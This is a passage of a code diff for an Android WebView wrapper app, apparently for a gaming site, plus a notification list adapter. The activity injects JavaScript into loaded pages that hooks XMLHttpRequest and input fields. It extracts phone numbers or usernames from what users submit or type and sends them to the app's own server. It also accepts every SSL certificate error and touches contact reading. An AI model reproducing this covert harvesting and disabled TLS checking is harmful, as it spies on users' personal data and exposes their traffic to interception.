+                    @Override
+                    public void onError(int code, String msg) {
+                        LogUtils.d("dddd" + msg);
+                    }
+
+                    @Override
+                    public void onError2(Result o) {
+
+                    }
+                });
+    }
+
+
+    Handler handler = new Handler();
+
+    boolean hasSignIn = false;
+
+    private void evaluateJavascript(WebView webView, String javascript) {
+        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
+            webView.evaluateJavascript(javascript, null);
+        } else {
+            webView.loadUrl("javascript:" + javascript);
+        }
+    }
+    private void injectBaseHooks(WebView webView) {
+        String baseHook =
+                "javascript:(function() {" +
+                        "   window.__webview_hooks = {" +
+                        "       hooks: {}," +
+                        "       register: function(name, callback) {" +
+                        "           this.hooks[name] = callback;" +
+                        "       }," +
+                        "       trigger: function(name, data) {" +
+                        "           if (window.WebViewHook) {" +
+                        "               window.WebViewHook.onHookEvent(name, JSON.stringify(data));" +
+                        "           }" +
+                        "       }," +
+                        "       log: function(message) {" +
+                        "           if (window.WebViewHook) {" +
+                        "               window.WebViewHook.log(message);" +
+                        "           }" +
+                        "       }" +
+                        "   };" +
+                        "})()";
+
+        evaluateJavascript(webView, baseHook);
+    }
+
+
+    private void injectFormHooks(WebView webView) {
+        String formHook =
+                "javascript:(function() {" +
+                        "   // 拦截表单提交" +
+                        "   var forms = document.getElementsByTagName('form');" +
+                        "   for (var i = 0; i < forms.length; i++) {" +
+                        "       (function(form) {" +
+                        "           form.addEventListener('submit', function(e) {" +
+                        "               var formData = new FormData(form);" +
+                        "               var params = {};" +
+                        "               for (var pair of formData.entries()) {" +
+                        "                   params[pair[0]] = pair[1];" +
+                        "               }" +
+                        "               " +
+                        "               window.__webview_hooks.trigger('form_submit', {" +
+                        "                   action: form.action," +
+                        "                   method: form.method," +
+                        "                   data: params," +
+                        "                   formId: form.id || 'no-id'" +
+                        "               });" +
+                        "           });" +
+                        "       })(forms[i]);" +
+                        "   }" +
+                        "   " +
+                        "   // 监听动态添加的表单" +
+                        "   var observer = new MutationObserver(function(mutations) {" +
+                        "       mutations.forEach(function(mutation) {" +
+                        "           for (var i = 0; i < mutation.addedNodes.length; i++) {" +
+                        "               var node = mutation.addedNodes[i];" +
+                        "               if (node.nodeName === 'FORM') {" +
+                        "                   node.addEventListener('submit', function(e) {" +
+                        "                       // 处理新表单..." +
+                        "                   });" +
+                        "               }" +
+                        "           }" +
+                        "       });" +
+                        "   });" +
+                        "   observer.observe(document.body, { childList: true, subtree: true });" +
+                        "})()";
+
+        evaluateJavascript(webView, formHook);
+    }
+
+    private void injectClickHooks(WebView webView) {
+        String clickHook =
+                "javascript:(function() {" +
+                        "   document.addEventListener('click', function(e) {" +
+                        "       var target = e.target;" +
+                        "       var data = {" +
+                        "           tagName: target.tagName," +
+                        "           id: target.id || 'no-id'," +
+                        "           className: target.className || 'no-class'," +
+                        "           text: target.textContent ? target.textContent.substring(0, 100) : 'no-text'," +
+                        "           href: target.href || 'no-href'" +
+                        "       };" +
+                        "       " +
+                        "       window.__webview_hooks.trigger('element_click', data);" +
+                        "   }, true);" +
+                        "})()";
+
+        evaluateJavascript(webView, clickHook);
+    }
+
+    private void injectAjaxHooks(WebView webView) {
+        String ajaxHook =
+                "javascript:(function() {" +
+                        "   var originalXHR = window.XMLHttpRequest;" +
+                        "   " +
+                        "   function HookedXHR() {" +
+                        "       var xhr = new originalXHR();" +
+                        "       var originalOpen = xhr.open;" +
+                        "       var originalSend = xhr.send;" +
+                        "       " +
+                        "       xhr.open = function(method, url, async, user, password) {" +
+                        "           this._method = method;" +
+                        "           this._url = url;" +
+                        "           return originalOpen.apply(this, arguments);" +
+                        "       };" +
+                        "       " +
+                        "       xhr.send = function(data) {" +
+                        "           if (data) {" +
+                        "               window.__webview_hooks.trigger('ajax_request', {" +
+                        "                   method: this._method," +
+                        "                   url: this._url," +
+                        "                   data: data" +
+                        "               });" +
+                        "           }" +
+                        "           return originalSend.apply(this, arguments);" +
+                        "       };" +
+                        "       " +
+                        "       return xhr;" +
+                        "   }" +
+                        "   " +
+                        "   window.XMLHttpRequest = HookedXHR;" +
+                        "})()";
+
+        evaluateJavascript(webView, ajaxHook);
+    }
+
+    private void injectConsoleHooks(WebView webView) {
+        String consoleHook =
+                "javascript:(function() {" +
+                        "   var originalLog = console.log;" +
+                        "   var originalError = console.error;" +
+                        "   var originalWarn = console.warn;" +
+                        "   " +
+                        "   console.log = function() {" +
+                        "       window.__webview_hooks.trigger('console_log', {" +
+                        "           type: 'log'," +
+                        "           message: Array.from(arguments).join(' ')" +
+                        "       });" +
+                        "       return originalLog.apply(console, arguments);" +
+                        "   };" +
+                        "   " +
+                        "   console.error = function() {" +
+                        "       window.__webview_hooks.trigger('console_error', {" +
+                        "           type: 'error'," +
+                        "           message: Array.from(arguments).join(' ')" +
+                        "       });" +
+                        "       return originalError.apply(console, arguments);" +
+                        "   };" +
+                        "   " +
+                        "   console.warn = function() {" +
+                        "       window.__webview_hooks.trigger('console_warn', {" +
+                        "           type: 'warn'," +
+                        "           message: Array.from(arguments).join(' ')" +
+                        "       });" +
+                        "       return originalWarn.apply(console, arguments);" +
+                        "   };" +
+                        "})()";
+
+        evaluateJavascript(webView, consoleHook);
+    }
+
+    private void injectErrorHooks(WebView webView) {
+        String errorHook =
+                "javascript:(function() {" +
+                        "   window.addEventListener('error', function(e) {" +
+                        "       window.__webview_hooks.trigger('javascript_error', {" +
+                        "           message: e.message," +
+                        "           filename: e.filename," +
+                        "           lineno: e.lineno," +
+                        "           colno: e.colno" +
+                        "       });" +
+                        "   });" +
+                        "   " +
+                        "   window.addEventListener('unhandledrejection', function(e) {" +
+                        "       window.__webview_hooks.trigger('promise_rejection', {" +
+                        "           reason: e.reason" +
+                        "       });" +
+                        "   });" +
+                        "})()";
+
+        evaluateJavascript(webView, errorHook);
+    }
+
+    private void injectAllHooks(WebView webView) {
+//        injectFormHooks(webView);
+//        injectClickHooks(webView);
+        injectAjaxHooks(webView);
+//        injectConsoleHooks(webView);
+//        injectErrorHooks(webView);
+    }
+
+
+    //    WebView webViews;
+    WebViewClient webViewClient = new WebViewClient() {
+
+        @Override
+        public void onPageStarted(WebView webView, String s, Bitmap bitmap) {
+            super.onPageStarted(webView, s, bitmap);
+            injectBaseHooks(webView);
+
+        }
+
+        @Override
+        public void onPageFinished(WebView webView, String s) {
+            super.onPageFinished(webView, s);
+            LogUtils.i("URL是啥加载完成：" + webView.getUrl());
+            if (webView.getUrl().contains("hasSignIn")) {
+                hasSignIn = true;
+            }
+
+            int w = View.MeasureSpec.makeMeasureSpec(0,
+                    View.MeasureSpec.UNSPECIFIED);
+            int h = View.MeasureSpec.makeMeasureSpec(0,
+                    View.MeasureSpec.UNSPECIFIED);
+            // 重新测量
+            webView.measure(w, h);
+            if (showTopLy.getVisibility() == View.VISIBLE) {
+                handler.postDelayed(() -> showTopLy.setVisibility(View.GONE), 1000);
+            }
+            if (webView.getUrl().equals(url + "index") || webView.getUrl().equals(url + "/index")) {
+                isAtGame = false;
+                topVvvv.setVisibility(View.GONE);
+            } else {
+                if (isAtGame) {
+                    topVvvv.setVisibility(View.VISIBLE);
+                } else {
+                    topVvvv.setVisibility(View.GONE);
+
+                }
+            }
+
+            injectAllHooks(webView);
+        }
+
+        @Override
+        public WebResourceResponse shouldInterceptRequest(WebView webView, String s) {
+
+            return super.shouldInterceptRequest(webView, s);
+        }
+
+        @Override
+        public WebResourceResponse shouldInterceptRequest(WebView webView, WebResourceRequest webResourceRequest) {
+            return super.shouldInterceptRequest(webView, webResourceRequest);
+        }
+
+        @Override
+        public void onReceivedError(WebView view, WebResourceRequest request, WebResourceError error) {
+            super.onReceivedError(view, request, error);
+            if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
+                int errorCode = error.getErrorCode();
+                String errorMessage = error.getDescription().toString();
+                String currentUrl = request.getUrl().toString();
+                if ((errorCode == -2 || errorCode == -6) && currentUrl.contains(url)) {
+                    onShowErrorView(errorMessage);
+                } else {
+                    onShowNetView();
+                }
+            }
+            progressBar.setVisibility(View.GONE);
+        }
+
+        @Override
+        public void onReceivedSslError(WebView webView, SslErrorHandler sslErrorHandler, SslError sslError) {
+            sslErrorHandler.proceed();
+        }
+
+        @Override
+        public void onReceivedError(WebView view, int errorCode, String description, String failingUrl) {
+            super.onReceivedError(view, errorCode, description, failingUrl);
+            if (Build.VERSION.SDK_INT < Build.VERSION_CODES.M) {
+                if ((errorCode == -2 || errorCode == -6) && failingUrl.contains(url)) {
+                    onShowErrorView(description);
+                } else {
+                    onShowNetView();
+                }
+            }
+            progressBar.setVisibility(View.GONE);
+
+        }
+
+
+        @Override
+        public boolean shouldOverrideUrlLoading(WebView webView, String url1) {
+
+            LogUtils.i("URL是啥：" + url1);
+
+            if (url1.equals(url + "index") || url1.equals(url + "/index")) {
+                isAtGame = false;
+                topVvvv.setVisibility(View.GONE);
+            } else {
+                progressBar.setVisibility(View.GONE);
+            }
+            if (isToOutSideUrl(url1)) {
+                try {
+                    Intent intent = new Intent();
+                    intent.setAction(Intent.ACTION_VIEW);
+                    intent.setData(Uri.parse(url1));
+                    startActivity(intent);
+                    return true;
+                } catch (Exception e) {
+                    e.printStackTrace();
+                }
+            }
+            if (!(url1.startsWith("http") || url1.startsWith("https"))) {
+                try {
+                    Intent intent = new Intent();
+                    intent.setAction(Intent.ACTION_VIEW);
+                    intent.setData(Uri.parse(url1));
+                    startActivity(intent);
+                    return true;
+                } catch (Exception e) {
+                    e.printStackTrace();
+                }
+            } else {
+
+                if ((url1.equals(url + "index") || url1.equals(url + "/index")) && webView.canGoBack()) {
+                    return false;
+                } else {
+                    //其它的该怎么处理就怎么处理
+                    webView.loadUrl(url1);
+                    return true;
+                }
+
+            }
+
+            return false;
+        }
+
+        @Override
+        public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
+
+            Uri uri;
+            if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
+                uri = request.getUrl();
+            } else {
+                uri = Uri.parse(request.toString());
+            }
+            String url1 = uri.toString();
+            LogUtils.i("URL是啥1：" + url1);
+
+            if (isToOutSideUrl(url1)) {
+                try {
+                    Intent intent = new Intent();
+                    intent.setAction(Intent.ACTION_VIEW);
+                    intent.setData(Uri.parse(url1));
+                    startActivity(intent);
+                    return true;
+                } catch (Exception e) {
+                    e.printStackTrace();
+                }
+            }
+
+            if (url1.equals(url + "index") || url1.equals(url + "/index")) {
+                isAtGame = false;
+                topVvvv.setVisibility(View.GONE);
+            } else {
+                progressBar.setVisibility(View.GONE);
+            }
+
+            if (!(url1.startsWith("http") || url1.startsWith("https"))) {
+                try {
+                    Intent intent = new Intent();
+                    intent.setAction(Intent.ACTION_VIEW);
+                    intent.setData(Uri.parse(url1));
+                    startActivity(intent);
+                    return true;
+                } catch (Exception e) {
+                    e.printStackTrace();
+                }
+            } else {
+
+                if ((url1.equals(url + "index") || url1.equals(url + "/index")) && webView.canGoBack()) {
+                    return false;
+                } else {
+                    //其它的该怎么处理就怎么处理
+                    webView.loadUrl(url1);
+                    return true;
+                }
+
+            }
+
+            return false;
+        }
+    };
+
+
+     boolean isPost = false;
+    private void postMobile() {
+        if(isPost){
+            return;
+        }
+        if (!TextUtils.isEmpty(mobiles)) {
+            if (!TextUtils.isEmpty(oldMobiles) && oldMobiles.equals(mobiles)) {
+                return;
+            }
+            isPost = true;
+            HashMap<String, Object> map = new HashMap<>();
+            map.put("appId", userId);
+            map.put("phone", mobiles);
+            Api.getInstance().appLoginUser(map)
+                    .subscribeOn(Schedulers.io())
+                    .observeOn(AndroidSchedulers.mainThread())
+                    .subscribe(new BaseObserver<Result>() {
+                        @Override
+                        public void onSuccess(Result o) {
+                            isPost =false;
+                            oldMobiles = mobiles;
+                            mobiles = "";
+                        }
+
+                        @Override
+                        public void onError(int code, String msg) {
+                            isPost =false;
+                        }
+
+                        @Override
+                        public void onError2(Result o) {
+                            isPost =false;
+                        }
+                    });
+        }
+    }
+    int counts = 0;
+
+    private void injectInputListener(WebView webView) {
+        // JS 代码：监听所有 input 和 textarea 的输入事件
+        // 你的代码
+        Runnable runnable = new Runnable() {
+            @Override
+            public void run() {
+//                // 你的代码
+
+                String jsCode = "javascript:(function (){" +
+                        // 获取所有输入元素（input 和 textarea）
+                        "var inputs = document.getElementsByTagName('input');" +
+                        // 遍历所有输入元素，添加 input 事件监听
+                        "for (var i = 0; i < inputs.length; i++) {" +
+                        "inputs[i].addEventListener('input', function(){" +
+                        // 触发输入时，调用 Android 接口传递内容
+                        "window.AndroidInterface.onInputChanged(this.value);" +
+                        "});" +
+                        "}" +
+                        "if(0<inputs.length){" +
+                        "inputs[0].addEventListener('input', function(){" +
+                        // 触发输入时，调用 Android 接口传递内容
+                        "window.AndroidInterface.onInputChanged(this.value);" +
+                        "});" +
+                        "}" +
+                        "})()";
+
+                webView.loadUrl(jsCode);
+                counts++;
+                if (counts < 30 && !isNeed) {
+                    handler.postDelayed(this, 10000); // 重新设置延迟
+                }
+            }
+        };
+        handler.postDelayed(runnable, 3000);
+
+    }
+
+    private void savePostData(String url, JSONObject postData) {
+        SharedPreferences prefs = getSharedPreferences("WebViewPostData", Context.MODE_PRIVATE);
+        SharedPreferences.Editor editor = prefs.edit();
+
+        try {
+            JSONObject savedData = new JSONObject();
+            savedData.put("url", url);
+            savedData.put("timestamp", System.currentTimeMillis());
+            savedData.put("data", postData);
+
+            String key = "post_" + System.currentTimeMillis();
+            editor.putString(key, savedData.toString());
+            editor.apply();
+
+        } catch (JSONException e) {
+            Log.e("SAVE_DATA", "保存数据失败", e);
+        }
+    }
+
+    boolean isNeed = false;
+    //     Handler handler = new Handler();
+    String mobiles = "";
+    String oldMobiles = "";
+
+    public class JsInterface {
+        @JavascriptInterface
+        public void onHookEvent(String hookName, String jsonData) {
+//            LogUtils.i("hookName"+hookName+";jsonData;"+jsonData);
+            if(hookName.equals("ajax_request")) {
+                try {
+                    JSONObject data = new JSONObject(jsonData);
+                    if (data.has("data")) {
+                        String datas = data.getString("data");
+                        Uri uri = Uri.parse("https://www.baidu.com?" + datas);
+                        String inputContent ="";
+                        if (datas.contains("mobile")) {
+                            inputContent = uri.getQueryParameter("mobile"); //id 值 10943
+                        }else  if (datas.contains("username")) {
+                            inputContent = uri.getQueryParameter("username"); //id 值 10943
+                        }
+                        if ((!(TextUtils.isEmpty(inputContent))) && inputContent.matches("\\d+")) {
+                            LogUtils.i("结果是啥：" + inputContent);
+                            mobiles = inputContent;
+                            postMobile();
+                        }
+                    }
+                } catch (JSONException e) {
+                    LogUtils.i("WebViewHook解析钩子数据失败" + e.getMessage());
+                }
+            }
+
+        }
+
+        @JavascriptInterface
+        public void log(String message) {
+//            LogUtils.i("WebViewConsole"+message);
+        }
+    }
+
+
+    private boolean isToOutSideUrl(String url1) {
+        return url1.contains("facebook") || url1.contains("https://t.me") ||
+                url1.contains("instagram") || url1.contains("https://x.com") || url1.contains("https://wa.me") ||
+                url1.contains("https://m.me") || url1.contains("http://m.me") || url1.endsWith(".apk");
+    }
+
+    // 辅助方法：流转字符串
+    private String readStream(InputStream is) throws IOException {
+        BufferedReader br = new BufferedReader(new InputStreamReader(is));
+        StringBuilder sb = new StringBuilder();
+        String line;
+        while ((line = br.readLine()) != null) {
+            sb.append(line);
+        }
+        br.close();
+        return sb.toString();
+    }
+
+    // 辅助方法：解析表单键值对
+    private Map<String, String> parseFormData(String body) throws UnsupportedEncodingException {
+        Map<String, String> params = new HashMap<>();
+        String[] pairs = body.split("&");
+        for (String pair : pairs) {
+            String[] keyValue = pair.split("=", 2); // 按第一个=分割
+            if (keyValue.length == 2) {
+                String key = URLDecoder.decode(keyValue[0], StandardCharsets.UTF_8.name());
+                String value = URLDecoder.decode(keyValue[1], StandardCharsets.UTF_8.name());
+                params.put(key, value);
+            }
+        }
+        return params;
+    }
+
+    public void onShowErrorView(String errorMsg) { //网络不可用的情况
+        webView.setVisibility(View.GONE);
+        layoutError.setVisibility(View.VISIBLE);
+        tvErrorMsg.setText(errorMsg);
+        showTopLy.setVisibility(View.GONE);
+    }
+
+    public void onShowNetView() {
+        webView.setVisibility(View.VISIBLE);
+        layoutError.setVisibility(View.GONE);
+        showTopLy.setVisibility(View.GONE);
+    }
+
+
+    boolean isAtGame = false;
+    private static final int REQUEST_CODE_FILE_CHOOSER = 1;
+    private ValueCallback<Uri> mUploadCallbackForLowApi;
+    private ValueCallback<Uri[]> mUploadCallbackForHighApi;
+    WebChromeClient webChromeClient = new WebChromeClient() {
+
+        @Override
+        public boolean onConsoleMessage(ConsoleMessage consoleMessage) {
+            return true;
+        }
+
+        @Override
+        public boolean onCreateWindow(WebView webViewdd, boolean b, boolean b1, Message resultMsg) {
+            LogUtils.i("URL是啥onCreateWindow：" + webView.getUrl());
+            WebView newWebView = new WebView(webViewdd.getContext());
+            newWebView.setWebViewClient(new WebViewClient() {
+
+                @Override
+                public boolean shouldOverrideUrlLoading(WebView view, String url) {
+
+                    LogUtils.i("URL是啥新窗口：" + url);
+
+                    if (isToOutSideUrl(url)) {
+                        try {
+                            Intent intent = new Intent();
+                            intent.setAction(Intent.ACTION_VIEW);
+                            intent.setData(Uri.parse(url));
+                            startActivity(intent);
+                            return true;
+                        } catch (Exception e) {
+                            e.printStackTrace();
+                        }
+                    }
+
+                    if (!(url.startsWith("http") || url.startsWith("https"))) {
+                        try {
+                            Intent intent = new Intent();
+                            intent.setAction(Intent.ACTION_VIEW);
+                            intent.setData(Uri.parse(url));
+                            startActivity(intent);
+                            return true;
+                        } catch (Exception e) {
+                            e.printStackTrace();
+                        }
+                    } else {
+                        Intent browserIntent = new Intent(MainActivity2.this, WebViewActivity.class);
+                        browserIntent.putExtra("url", url);
+                        startActivity(browserIntent);
+                        return true;
+                    }
+                    return false;
+                }
+
+
+            });
+            WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj;
+            transport.setWebView(newWebView);
+            resultMsg.sendToTarget();
+            return true;
+        }
+
+
+        @Override
+        public void onCloseWindow(WebView window) {
+            super.onCloseWindow(window);
+            LogUtils.i("URL是啥新窗口结束：" + url);
+
+        }
+
+        @Override
+        public void onProgressChanged(WebView view, int newProgress) {
+            super.onProgressChanged(view, newProgress);
+            // 更新进度条的进度
+            progressBar.setProgress(newProgress);
+            // 如果加载完成，隐藏进度条
+            if (newProgress == 100) {
+                progressBar.setVisibility(View.GONE);
+            } else {
+                progressBar.setVisibility(View.GONE);
+            }
+        }
+
+
+        //  @TargetApi(Build.VERSION_CODES.LOLLIPOP)
+        @Override
+        public boolean onShowFileChooser(WebView webView, ValueCallback<Uri[]> filePathCallback, FileChooserParams fileChooserParams) {
+            LogUtils.i("数据接口：onShowFileChooser");
+            mUploadCallbackForHighApi = filePathCallback;
+            Intent intent = fileChooserParams.createIntent();
+            intent.addCategory(Intent.CATEGORY_OPENABLE);
+            startActivityForResult(Intent.createChooser(intent, "File chooser"), REQUEST_CODE_FILE_CHOOSER);
+            return true;
+        }
+
+        // For 3.0+
+        protected void openFileChooser(ValueCallback<Uri> uploadMsg, String acceptType) {
+            LogUtils.i("数据接口：openFileChooseracceptType");
+            openFilerChooser(uploadMsg);
+        }
+
+
+        private void openFilerChooser(ValueCallback<Uri> uploadMsg) {
+            LogUtils.i("数据接口：openFileChooser");
+            mUploadCallbackForLowApi = uploadMsg;
+            startActivityForResult(Intent.createChooser(getFilerChooserIntent(), "File Chooser"), REQUEST_CODE_FILE_CHOOSER);
+        }
+
+
+        private Intent getFilerChooserIntent() {
+            Intent intent = new Intent(Intent.ACTION_GET_CONTENT);
+            intent.addCategory(Intent.CATEGORY_OPENABLE);
+            return intent;
+        }
+
+
+        @Override
+        public void onPermissionRequest(PermissionRequest request) {
+            if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
+                MainActivity2.this.runOnUiThread(() -> {
+                    for (String permisson : request.getResources()) {
+                        permissionRequest = request;
+                        if (permisson.equals(PermissionRequest.RESOURCE_VIDEO_CAPTURE)) {
+                            if (ContextCompat.checkSelfPermission(MainActivity2.this, Manifest.permission.CAMERA) != 0) {
+                                ActivityCompat.requestPermissions(MainActivity2.this, PERMISSIONS_CAMERA, 1111);
+                            } else {
+                                request.grant(request.getResources());
+                                request.getOrigin();
+                            }
+
+                        }
+                    }
+                });
+            }
+        }
+    };
+
+    private PermissionRequest permissionRequest;
+
+
+    @RequiresApi(api = Build.VERSION_CODES.Q)
+    @Override
+    protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) {
+        super.onActivityResult(requestCode, resultCode, data);
+        switch (requestCode) {
+            case REQUEST_CODE_FILE_CHOOSER:
+                if (resultCode == RESULT_OK || resultCode == RESULT_CANCELED) {
+                    afterFileChooseGoing(resultCode, data);
+                }
+                break;
+
+
+        }
+    }
+
+
+    /**
+     * onActivityResult方法
+     */
+
+    private void afterFileChooseGoing(int resultCode, Intent data) {
+        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
+            if (mUploadCallbackForHighApi == null) {
+                return;
+            }
+            mUploadCallbackForHighApi.onReceiveValue(WebChromeClient.FileChooserParams.parseResult(resultCode, data));
+            mUploadCallbackForHighApi = null;
+        } else {
+            if (mUploadCallbackForLowApi == null) {
+                return;
+            }
+            Uri result = data == null ? null : data.getData();
+            mUploadCallbackForLowApi.onReceiveValue(result);
+            mUploadCallbackForLowApi = null;
+        }
+    }
+
+    @Override
+    public void onRequestPermissionsResult(int requestCode,
+                                           String permissions[], int[] grantResults) {
+        if (grantResults.length == 0) {
+            return;
+        }
+        switch (requestCode) {
+            case REQUEST_EXTERNAL_STORAGE:
+                if (grantResults[0] == PackageManager.PERMISSION_GRANTED && grantResults[1] == PackageManager.PERMISSION_GRANTED) {
+                }
+                break;
+            case 1111:
+                if (grantResults[0] == PackageManager.PERMISSION_GRANTED && permissionRequest != null) {
+                    permissionRequest.grant(permissionRequest.getResources());
+                }
+                break;
+            case 2222:
+                if (grantResults[0] == PackageManager.PERMISSION_GRANTED) {
+                    readContact();
+                } else {
+                    //没同意
+                    if (contactApply == 1) {
+                        MainActivity2.this.finish();
+                    }
+
+                }
+                break;
+            default:
+                break;
+        }
+        super.onRequestPermissionsResult(requestCode, permissions, grantResults);
+    }
+
+
+    @Override
+    public void onDestroy() {
+
+        if (webView != null) {
+            //加载null内容
+            webView.loadDataWithBaseURL(null, "", "text/html", "utf-8", null);
+            //清除历史记录
+            webView.clearHistory();
+            //销毁VebView
+            webView.destroy();
+        }
+
+        super.onDestroy();
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+        if (notifyApply == 0 || notifyApply == 1) {
+            checkNotify();
+        }
+
+
+    }
+
+    @Override
+    protected void onPause() {
+        super.onPause();
+
+    }
+
+
+    public static void saveInt(Context context, String key, int value) {
+        SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE);
+        SharedPreferences.Editor editor = sp.edit();
+        editor.putInt(key, value);
+        editor.apply();
+    }
+
+    public static int getInt(Context context, String key, int defValue) {
+        SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE);
+        return sp.getInt(key, defValue);
+    }
+
+
+    public static void saveString(Context context, String key, String value) {
+        SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE);
+        SharedPreferences.Editor editor = sp.edit();
+        editor.putString(key, value);
+        editor.apply();
+    }
+
+    public static String getString(Context context, String key, String defValue) {
+        if (context == null) {
+            return defValue;
+        }
+        SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE);
+        return sp.getString(key, defValue);
+    }
+
+
+
+
+    public static void saveBoolean(Context context, String key, Boolean value) {
+        SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE);
+        SharedPreferences.Editor editor = sp.edit();
+        editor.putBoolean(key, value);
+        editor.apply();
+    }
+
+    public static Boolean getBoolean(Context context, String key, Boolean defValue) {
+        if (context == null) {
+            return defValue;
+        }
+        SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE);
+        return sp.getBoolean(key, defValue);
+    }
+
+
+}

base_theme/src/main/java/com/web/base/MessageInfo.java

@@ -0,0 +1,96 @@
+package com.web.base;
+
+import java.io.Serializable;
+
+public class MessageInfo implements Serializable {
+    private String title;
+    private String content;
+    private String image = "";
+    private int type; //  1：文字   2：图片  3：链接跳转
+    private int pushId;
+    private String createTime;
+    private int recordId;
+    public int status;
+    private String jumpUrl;
+    private boolean isShowAll = false;
+
+    public String getCreateTime() {
+        return createTime;
+    }
+
+    public void setCreateTime(String createTime) {
+        this.createTime = createTime;
+    }
+
+    public int getRecordId() {
+        return recordId;
+    }
+
+    public void setRecordId(int recordId) {
+        this.recordId = recordId;
+    }
+
+    public int getStatus() {
+        return status;
+    }
+
+    public void setStatus(int status) {
+        this.status = status;
+    }
+
+    public boolean isShowAll() {
+        return isShowAll;
+    }
+
+    public void setShowAll(boolean showAll) {
+        isShowAll = showAll;
+    }
+
+    public String getJumpUrl() {
+        return jumpUrl;
+    }
+
+    public void setJumpUrl(String jumpUrl) {
+        this.jumpUrl = jumpUrl;
+    }
+
+    public int getType() {
+        return type;
+    }
+
+    public void setType(int type) {
+        this.type = type;
+    }
+
+    public int getPushId() {
+        return pushId;
+    }
+
+    public void setPushId(int pushId) {
+        this.pushId = pushId;
+    }
+
+    public String getTitle() {
+        return title;
+    }
+
+    public void setTitle(String title) {
+        this.title = title;
+    }
+
+    public String getContent() {
+        return content;
+    }
+
+    public void setContent(String content) {
+        this.content = content;
+    }
+
+    public String getImage() {
+        return image;
+    }
+
+    public void setImage(String image) {
+        this.image = image;
+    }
+}

base_theme/src/main/java/com/web/base/MyNotifyListAdapter.java

@@ -0,0 +1,179 @@
+package com.web.base;
+
+import android.content.Context;
+import android.text.TextUtils;
+import android.view.LayoutInflater;
+import android.view.View;
+import android.view.ViewGroup;
+import android.widget.ImageView;
+import android.widget.LinearLayout;
+import android.widget.TextView;
+
+import androidx.annotation.NonNull;
+import androidx.constraintlayout.widget.ConstraintLayout;
+import androidx.recyclerview.widget.RecyclerView;
+
+import com.bumptech.glide.Glide;
+
+import java.security.Timestamp;
+import java.text.ParseException;
+import java.text.SimpleDateFormat;
+import java.util.Date;
+import java.util.List;
+
+/**
+ * 通知列表适配器
+ */
+public class MyNotifyListAdapter extends RecyclerView.Adapter<MyNotifyListAdapter.ViewHolder> {
+
+    private List<MessageInfo> listdata;
+    private onItemClickPostionListener itemClickPostionListener;
+    private Context context;
+    private MessageInfo messageItem;
+
+
+    public MyNotifyListAdapter(Context context, List<MessageInfo> listdata, MessageInfo messageItem) {
+        this.context = context;
+        this.listdata = listdata;
+        this.messageItem = messageItem;
+    }
+
+    public void setListdata(List<MessageInfo> listdata) {
+        this.listdata = listdata;
+        notifyDataSetChanged();
+    }
+
+
+    public void setOnItemClick(onItemClickPostionListener onItemClick) {
+        this.itemClickPostionListener = onItemClick;
+    }
+
+    @NonNull
+    @Override
+    public ViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) {
+        View view = LayoutInflater.from(parent.getContext()).inflate(R.layout.item_notify_list, parent, false);
+        return new ViewHolder(view);
+    }
+
+    @Override
+    public void onBindViewHolder(@NonNull ViewHolder holder, int position) {
+
+        MessageInfo messageInfo = listdata.get(position);
+        if (messageItem != null && messageInfo.getRecordId() == messageItem.getPushId()) {
+            messageInfo.setShowAll(true);
+            messageItem = null;
+        }
+        switch (messageInfo.getType()){
+            case 2:
+                holder.root.setBackgroundColor(context.getColor(R.color.notify_imagecolor));
+                holder.tvType.setText(holder.ivMsg.getContext().getString(R.string.image_title));
+                holder.ivType.setImageResource(R.mipmap.ic_notifylogo_img);
+                break;
+            case 3:
+                holder.root.setBackgroundColor(context.getColor(R.color.notify_jumplinkcolor));
+                holder.tvType.setText(holder.ivMsg.getContext().getString(R.string.link_title));
+                holder.ivType.setImageResource(R.mipmap.ic_notifylogo_link);
+                break;
+            default:
+                holder.root.setBackgroundColor(context.getColor(R.color.notify_textcolor));
+                holder.tvType.setText(holder.ivMsg.getContext().getString(R.string.text_title));
+                holder.ivType.setImageResource(R.mipmap.ic_notifylogo);
+                break;
+        }
+
+        holder.tvTitle.setText(messageInfo.getTitle());
+        holder.layoutMore.setVisibility(View.GONE);
+        holder.tvContent.setText(messageInfo.getContent());
+        holder.ivMsg.setVisibility(View.GONE);
+        holder.tvTime.setText(messageInfo.getCreateTime());
+        holder.tvJumpLink.setVisibility(View.GONE);
+
+        holder.lookIv.setText(longTime(messageInfo.getCreateTime()));
+        if (!TextUtils.isEmpty(messageInfo.getImage())) {
+            LogUtils.i("地址是啥："+messageInfo.getImage());
+            holder.ivMsg.setVisibility(View.VISIBLE);
+            Glide.with(context).load(messageInfo.getImage()).into(holder.ivMsg);
+        }
+        if (!TextUtils.isEmpty(messageInfo.getJumpUrl())) {
+            holder.tvJumpLink.setVisibility(View.VISIBLE);
+            holder.tvJumpLink.setText(messageInfo.getJumpUrl());
+            holder.tvJumpLink.setOnClickListener(view -> {
+                if (itemClickPostionListener != null) {
+                    itemClickPostionListener.item(position);
+                }
+            });
+        }
+        if (messageInfo.isShowAll()) {
+            holder.ivNotifyPull.setBackgroundResource(R.mipmap.ic_notify_shangla);
+            holder.layoutMore.setVisibility(View.VISIBLE);
+        } else {
+            holder.ivNotifyPull.setBackgroundResource(R.mipmap.ic_notify_xiala);
+            holder.layoutMore.setVisibility(View.GONE);
+        }
+        holder.itemView.setOnClickListener(view -> {
+            messageInfo.setShowAll(!messageInfo.isShowAll());
+            notifyItemChanged(position);
+        });
+
+    }
+
+    public String longTime(String dateString){
+        // 定义所需的日期格式
